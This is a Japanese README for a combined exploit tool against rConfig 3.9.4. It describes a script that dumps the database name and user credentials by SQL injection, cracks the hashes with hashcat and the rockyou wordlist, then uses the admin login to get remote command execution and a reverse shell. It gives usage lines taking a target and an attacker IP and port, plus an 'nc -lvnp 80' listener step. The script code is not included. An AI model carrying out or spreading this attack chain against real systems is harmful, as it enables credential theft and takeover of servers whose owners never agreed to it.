rConfig 3.9 SQLインジェクションとコマンドインジェクションの複合PoC

概要

このPoCはrConfigバージョン3.9.4を対象とし、SQLインジェクションとリモートコマンドインジェクションの脆弱性を組み合わせたエクスプロイトを実証します。以下の処理を自動化します：

1. SQLインジェクションによるデータベース名の抽出
2. データベースからのユーザー資格情報のダンプ
3. hashcatとrockyouワードリストおよびbest64.rulesを用いたパスワードハッシュのクラック試行
4. オプションで、クラックしたadmin資格情報を使用して検索機能のコマンドインジェクションを介したリモートコマンド実行（RCE）

このスクリプトは、以下の2つのオリジナルPoCを基に結合したものです：

• 48208.py （SQLインジェクション）by vikingfr
• 48241.py （コマンドインジェクション）by Matthew Aberegg and Michael Burkey

自動クラックとオプションのシェル起動を実現するために修正が加えられています。

必要条件

• Python 3
• requestsライブラリ（pip install requests）
• コマンドラインからアクセス可能なhashcatがインストールされていること
• /usr/share/wordlists/rockyou.txtに配置されたrockyou.txtワードリスト（または同等のもの）
• /usr/share/hashcat/rules/best64.ruleのhashcatルールファイル

使い方

ユーザーとハッシュのみをダンプする場合：

python3 rConfig_rce.py https://ターゲット

ユーザーのダンプ、パスワードのクラック、およびRCEを試行する場合（リバースシェル用の攻撃者IPとポートが必要）：

python3 rConfig_rce.py https://ターゲット 攻撃者_IP 攻撃者_ポート

注意事項

• hashcatによるパスワードクラックが失敗した場合、スクリプトはCrackStationなどのオンラインクラックサービスの利用を提案します。
• パスワードハッシュが自動でクラックできない場合は、RCE試行のために平文パスワードを手動で入力するよう促されます。
• スクリプトはコマンドインジェクションフェーズでadminアカウントを優先的に使用します。
• 攻撃マシンでリスナー（例：nc -lvnp 80）を実行し、リバースシェルを受信できるようにしてください。

免責事項

このツールは、許可されたセキュリティテストおよび教育目的のみを意図しています。許可なくシステムに対して不正に使用することは違法であり、非倫理的です。